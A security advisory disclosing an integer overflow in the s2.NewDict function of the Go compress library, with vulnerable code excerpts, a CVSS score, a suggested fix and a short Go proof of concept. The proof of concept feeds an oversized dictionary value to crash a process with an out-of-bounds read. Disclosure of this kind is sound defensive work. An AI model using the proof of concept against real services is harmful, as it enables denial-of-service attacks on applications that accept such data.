CVE-2026-63209: Integer Overflow or Wraparound and Out-of-bounds Write in compress

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

- Name: github.com/klauspost/compress/s2 - Ecosystem: Go - Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type - CWE-190: Integer Overflow or Wraparound - CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

go r, n := binary.Uvarint(dict) // ... d.repeat = int(r) if d.repeat > len(dict) { return nil }

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

go func Load32I Indexer uint32 { return (uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) }

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

go package main

import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" )

func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size

dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation)

src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer }

Impact

- Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that: 1. Accepts user-supplied S2 dictionary data via s2.NewDict() 2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

go if r > math.MaxInt64 { return nil } d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

- Source: s2/dict.go lines 59-61 (vulnerability), s2/encodeall.go line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)

Credits Christopher Linke / https://github.com/celinke97/